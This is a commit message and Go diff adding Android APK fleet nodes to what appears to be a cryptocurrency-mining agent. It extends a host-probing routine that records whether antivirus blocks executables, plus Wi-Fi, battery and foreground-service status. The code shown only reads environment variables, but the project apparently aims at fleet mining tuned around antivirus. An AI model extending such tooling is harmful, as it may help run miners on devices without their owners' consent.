Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

agent/miner/environment_probe.go

@@ -5,6 +5,8 @@ import (
 	"os/exec"
 	"runtime"
 	"strings"
+
+	"crypto-miner-agent/config"
 )
 
 // EnvironmentProbes captures host capabilities that drive tier selection.
@@ -14,8 +16,11 @@ type EnvironmentProbes struct {
 	PowerShell  bool   `json:"pwsh"`
 	DotNet      bool   `json:"dotnet"`
 	GPU         bool   `json:"gpu"`
-	AVBlocksExe bool   `json:"av_blocks_exe"`
-	WebView2    bool   `json:"webview2"`
+	AVBlocksExe       bool `json:"av_blocks_exe"`
+	WebView2          bool `json:"webview2"`
+	Wifi              bool `json:"wifi,omitempty"`
+	Battery           bool `json:"battery,omitempty"`
+	ForegroundService bool `json:"foreground_service,omitempty"`
 }
 
 // probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
@@ -56,6 +61,12 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
 		Docker: rt.Available,
 		GPU:    gpuProbeFn(),
 	}
+	if config.IsAndroidPlatform() {
+		p.Wifi = envTruthy("AETHERFORGE_WIFI_CONNECTED")
+		p.Battery = envTruthy("AETHERFORGE_BATTERY_OK")
+		p.ForegroundService = envTruthy("AETHERFORGE_FOREGROUND_SERVICE")
+		return p
+	}
 	if runtime.GOOS == "windows" {
 		wsl := WSLDetector()
 		p.WSL = wsl.Available
@@ -70,6 +81,11 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
 	return p
 }
 
+func envTruthy(key string) bool {
+	v := strings.TrimSpace(os.Getenv(key))
+	return v == "1" || strings.EqualFold(v, "true")
+}
+
 func inferAVBlocksExe() bool {
 	if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
 		return true